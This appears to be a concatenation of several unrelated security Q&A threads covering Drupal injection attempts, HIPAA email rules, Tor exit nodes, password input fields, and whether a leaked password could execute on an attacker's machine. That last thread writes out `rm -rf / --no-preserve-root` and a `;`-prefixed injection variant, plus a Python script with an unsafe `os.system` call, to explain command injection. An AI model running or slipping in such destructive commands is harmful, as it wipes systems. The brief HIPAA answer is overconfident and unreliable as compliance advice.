My Drupal is patched to the latest version. Shall I worry about it? Is there something I could do to protect better?

I did some searching, and the closest thing I can find to what’s going on is outlined here. However, I don’t think that’s quite the same. It looks like your attacker is attempting to do command injections, one of which is pulling from pastebin, the other from GitHub. Seeing the sources that the attacker is attempting to include may give you a better idea as to what’s their trying to exploit, but keep in mind that is malicious code. Visit and investigate at your own risk taking proper precautions.

I don’t know how drupal works at its core, but I would hope that a GET request like what the attacker is using (since the parameters are in the URL) wouldn’t be capable of making any changes the attacker is trying to implement.

I would recommend looking through some system logs to ensure that there was no access to the server, and ensure that not only the CMS (Drupal) is up to date, but all of the plugins, and themes as well. If you do some searching around, you may find that even an up to date plugin may have vulnerabilities.


Is sending an Email without any PHI violates HIPAA privacy rule? I am evaluating options to choose email providers for a HIPAA compliant web application. I understand that, if the email contains any form of PHI, it would be violating the HIPAA rule especially if the email is not encrypted.

What if the email that is been sent only contain a link to login and nothing else ? Would it still be violation of HIPAA ? I am concerned about the part that email being identified as PHI from the list of PHI's. So, would the recipient email address itself would be considered as a PHI and violate HIPAA ?

What if the email that is been sent only contain a link to login and nothing else ?

You are good to go. There is nothing to worry about if you send the mail which consists of link that asks the person to use login credentials to access PHI.

would the recipient email address itself would be considered as a PHI and violate HIPAA ?

Mail address is not health related data(so it doesn't violate HIPPA), it is a PII though.


Could a cracked password run as a command on the attacker's system? I recently was made aware of 6 passwords that I use becoming compromised in data leaks, and they are now exposed in plain text.

I don't know how attackers go about cracking passwords or how they handle them when credential stuffing.

If, on websites that I'm not too concerned about being compromised on, I set my password as rm -rf / --no-preserve-root, could this possibly have consequences on the attacker machine, assuming they are using some form of automation to crack and plug passwords?

This is like many other questions which can be simplified down to "could x be vulnerable to y", where the answer may boil down to "yes, it is possible, but unlikely". For example, I highly doubt that well-known and reputable password cracking software is going to straight up try to run the cracked passwords as commands (side note: it is unlikely that password in particular would be cracked unless it was in a dictionary).

However, it could be possible that a single attacker somewhere has glued together multiple scripts and made a mistake where a variant of your password would actually work. The password, as it stands, shouldn't pose a threat unless it is passed directly to a command line or call to exec(). Let's say the attacker has cracked your password and pastes it as an argument to a hypothetical program with one of these variants:

# ./hack_user_with_password_i_just_stole --user you@example.com --password rm -rf / --no-preserve-root
# ./hack_user_with_password_i_just_stole --user you@example.com --password "rm -rf / --no-preserve-root"

Both of these are harmless; although the first one won't likely work since the program will probably trip up on the spaces. But this could happen if it was pasted without paying attention.

To give the password some teeth, we can prepend it with ;, && or || so the shell treats it as a separate command:

# ./hack_user_with_password_i_just_stole --user you@example.com --password ;rm -rf / --no-preserve-root
# ./hack_user_with_password_i_just_stole --user you@example.com --password ";rm -rf / --no-preserve-root"

If you were unlucky enough to run the first command, the malicious command would indeed execute since the shell treats everything after ; as a separate command from the first. The second command won't work, however, since the quotes cause the entire password to be passed as a single argument to the program.

Now, while pasting a password like this is unlikely, there are a couple other ways where it could happen. Maybe the attacker has a script that takes cracked passwords from a file and passes them to another program for purposes of credential stuffing, like you said:

cracked_passwords.txt:

user@example.com,password1234
<snip>
you@example.com,;rm -rf / --no-preserve-root
<snip>

hack_script.py:

#!/usr/bin/env python3

import os

with open('cracked_passwords.txt') as f:
    for line in f:
        user, password = line.split(',')
        os.system("./hack_user_with_password_i_just_stole --user {} --password {}".format(user, password)

If the attacker is naive and doesn't plan for spaces in the password, the payload would work here. Even if they surrounded the arguments with quotes, it could be defeated by using additional quotes in the password. That said, each of these hurdles would require your password to be even more complex, reducing the likelihood that it would be cracked in the first place.

As you can see, while technically possible, this scenario is rather specific and unlikely to happen.


Is Tor secure if exit node is compromised? Ok, so let's say exit node has been compromised, or it is run by NSA or whatever. Can they still track you? They obviously can see the last IP address of the server, but what about the one server before, and finally your initial IP address? If I understand correctly, it would still be secure (obviously if you don't send a POST request over HTTP or something saying "hey, my name is bill, and my ip is 811111.1111").

In an ideal world, no. If the exit node is compromised it can only see the source tor node, the traffic destination (and potentially the traffic itself, if unencrypted).

However it's not simply a matter of you not sending "stupid" traffic such as logging in your personal e-mail.

For example, consider this scenario: the exit node is compromised, and it modifies the (unencrypted) traffic so that your client receives a payload that causes it to send traffic over the clear internet. For example, a Flash app, or malicious Javascript, or whatnot. See for example here

Of course a nation-state sponsored attacker is likely also to watch (some of) Tor's entry nodes, and in that case there's little you can do.

Nevertheless, if you assume some of the exit nodes of your Tor connections to be compromised you'll probably default to better security practices in your day-to-day Tor browsing, which overall is not a bad thing.


Vulnerability in using `input type="text"` for website password other than shoulder surfing I found a website that uses the plain text field as a password input form.

<input type = "text" autocomplete= off ...>

I understand shoulder surfing is one vulnerability but are there other vulnerabilities that makes input type="password" a safer option?

Beyond shoulder surfing the browser can insecurely cache data. It may save input fields in an insecure manner, for auto-fill purposes. This means passwords may be tab completed, easily retrieved as plain text, and copy/pasted.